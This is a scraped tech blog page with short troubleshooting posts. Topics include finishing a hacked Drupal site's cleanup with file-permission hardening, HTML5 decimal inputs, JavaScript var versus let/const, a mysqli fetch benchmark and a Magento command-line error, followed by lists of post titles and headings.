This module scans the currently installed Drupal, contributed modules and themes, re-downloads them and determines if they have been changed. Changes are marked clearly and if the diff module is installed then Hacked! will allow you to see the exact lines that have changed.

NOTE: Be aware though that the more modules you have running on your site the greater (usually) attack area you expose.

5. Set the Correct User Group & File Permissions for your Drupal Directory/Files

Make sure all your directory have permission set to 755 and all your files have permission set to 644.

It is dangerous to allow the web server to write to files inside the document root of your server. Doing so could allow Drupal to write files that could then be executed. An attacker might use such a vulnerability to take control of your site. An exception is the Drupal files, private files, and temporary directories which Drupal needs permission to write to in order to provide features like file attachments. Read more at: http://bit.ly/2HKELRp.

Site Cleanup = SUCCESSFUL!

Finally, my site was all clean. I confirmed this with my webhost, and they too confirmed the same. You can see the confirmation screenshot below.

[SOLVED] - How to Enter Floating-Point/Decimal Numbers in HTML5 Forms

2018-04-23T16:27:00.001+05:30

If you have a form where you have declare a input type as below:

 <input type="number" name="quantity" min="1" max="5">

Now if you enter a floating-point/decimal value like '2.1' and try to process your form then you will get the following error message:

"Please enter a valid value. The two nearest valid values are 2 and 3."

Click on image to enlarge

Solution:

To solve this just add
step="any"
to your form. So, your input code should be as follows:

 <input type="number" name="quantity" min="1" max="5" step="any">

Now, you should be able to enter decimal/floating-point values and process them without any hassle.

Why NOT to Use var and Instead Use let or const in JavaScript

2018-04-15T14:38:00.000+05:30

Consider the following example code:

You can note that the value of var a has changed due to the assignment within the block scope of the if statement, while the value of let b & const c value have remained unaffected.

So, the way let & const works is the way most programming languages work.

var is kind of weird, it’s one of the things a lot of people didn’t like about JavaScript. It causes security risk and confusion and hence it’s better to avoid it.

Shortcut Key to Create HTML Skeleton Structure in VSC

2018-04-13T04:23:00.000+05:30

Why You Shouldn't Be Using mysqli_fetch_array()?

2018-04-06T18:18:00.001+05:30

While researching as to why not to use mysqli_fetch_array(), and instead use mysqli_fetch_row() or mysqli_fetch_assoc(), I ran into this old post, which well explains the reason. The test results for each of these functions may not be as per contemporary test case, but it will still give you a good idea as to why mysqli_fetch_array() shouldn't be used

Benchmark on a table with 38567 rows:

mysql_fetch_array
MYSQL_BOTH: 6.01940000057 secs
MYSQL_NUM: 3.22173595428 secs
MYSQL_ASSOC: 3.92950594425 secs

mysql_fetch_row: 2.35096800327 secs
mysql_fetch_assoc: 2.92349803448 secs

As you can see, it's twice as efficient to fetch either an array or a hash, rather than getting both. It's even faster to use fetch_row rather than passing fetch_array MYSQL_NUM, or fetch_assoc rather than fetch_array MYSQL_ASSOC.

Don't fetch BOTH unless you really need them, and most of the time you don't.

SOURCE: http://bit.ly/2qaSyFr

[SOLVED] - Could not open input file: bin/magento in localhost and Magento 2x

2018-03-17T18:01:00.000+05:30

If you are getting this error 'Could not open input file: bin/magento' while trying to run certain magento commands in your terminal in localhost, then you can try this solution which worked for me.

I ran into this issue, because I'd accessed the root directory of my Magento installation from my terminal. Everything was working fine until now. I then deleted my Magento installation, created a new folder with the same name as the deleted folder. Now remaining in the same terminal window, without changing path or closing the terminal, I was trying to run the magento shell commands. This was the reason I was running into the above error.

To solve this issue, I simply closed my terminal, opened it again, checked into the root directory of my magento installation, and now the commands were running fine.

Also check, while at the Terminal, you are inside the Root Directory of your Magento Installation, else you will get this ERROR again.

eV@gabond: e-Xperience </IT>

You Probably Don't Need Obsidian: Here's When You Shouldn't Use It

When Not to Use Obsidian: Why You May Not Need a Second Brain

What Is Obsidian Actually For?

You Don't Need Obsidian to Be Productive

If You Don't Regularly Think, Write, or Plan in Text, Obsidian May Feel Useless

Some People Are Doers, Not External Thinkers

Obsidian Can Become Friction

The “Second Brain” Problem

When a Second Brain Actually Makes Sense

Writers

Researchers

Students

Programmers

Consultants and knowledge workers

When You Probably Shouldn't Use Obsidian

1. You Already Remember What Matters

2. You Think Better by Doing

3. You Don't Revisit Your Notes

4. You Are Building the System Instead of Using It

5. You Need a Task Manager, Not a Knowledge Manager

6. You Prefer Simplicity

So, When IS Obsidian Worth Using?

1. Difficult Decisions

2. Long-Term Projects

3. Extracting Patterns From Experience

4. Capturing Long-Term Leverage

Obsidian as a Thinking Log, Not a Second Brain

A Better Obsidian Rule: Don't Capture Everything

Ignore the Graph View

Ignore the Plugin Rabbit Hole

You Don't Need a Perfect Obsidian Setup

The Real Question Isn't “Should I Use Obsidian?”

My Honest Verdict

Final Thought

Frequently Asked Questions

Is Obsidian worth using?

Who should not use Obsidian?

Do I really need a second brain?

Is Obsidian difficult to learn?

What is an Obsidian second brain?

What can I use instead of Obsidian?

[SOLVED]: Yarn Debian Key Expiry Date Updated

[SOLVED] - Install phpMyAdmin & LAMP on Ubuntu 20.04 Desktop

[SOLVED] Suspend-Resume Not Working in Ubuntu 20.04

[Solved] - How to Find Composer Name of Mageplaza Paid Extensions - Magento 2

Setup WordPress CRON in Cloudways

Allow Clemetine Remote App Access in UFW [Uncomplicated Firewall]

[SOLVED] - Alibaba Cloud (ECS) - The Requested URL Could Not Be Retrieved. Unable to Access Website

ERROR

Solution

Command to restart the Apache Web Server:

[SOLVED] - Fix Corrupt NTFS Parition In Ubuntu Using ntfs-3g, Without Using Windows OR fsck

>> SOLUTION:

[SOLVED]: Module 'Amasty_Base' from 'app/code/Amasty/Base' has been already defined in 'vendor/amasty/base'

[SOLVED]: Same Web Property ID Is Tracked Twice | Google Tag Manager | Magento 2

Third Party IT Repair Services & Tech Support Ads Banned By Google Ads

References:

[SOLVED] - Thunderbird Could Not Get Password - Fix for Ubuntu/Linux

Learn in 10 Seconds How to Easily Copy Same Data Across Multiple Cells in LibreOffice Calc

Check Disk Space Usage from Terminal in Ubuntu/Linux

[SOLVED] - Delete Categories in Magento 2 using MySQL & phpMyAdmin

Successfully Install Porto/Magento 2 Theme Quick Start Package

Download Ubuntu 18.04 Bionic Beaver Virtual Disk Image (VDI) File for VirtualBox

Upgrade/Update Magento 2x Using Web Setup Wizard

[SOLVED] - How my Drupal Site Got Hacked & How I Cleaned/Fixed it

The Hack - How it happened

The Fix/Cleanup:

1. Allow only yourself to access your site and block all other access

2. Revert to a clean old backup and update your Drupal core to the latest version

3. Update your site to the latest Drupal release

4. Install Drupal Security Contrib Modules

5. Set the Correct User Group & File Permissions for your Drupal Directory/Files

Site Cleanup = SUCCESSFUL!

Recommended Reading:

[SOLVED] - How to Enter Floating-Point/Decimal Numbers in HTML5 Forms

Why NOT to Use var and Instead Use let or const in JavaScript

Shortcut Key to Create HTML Skeleton Structure in VSC

Why You Shouldn't Be Using mysqli_fetch_array()?

Benchmark on a table with 38567 rows: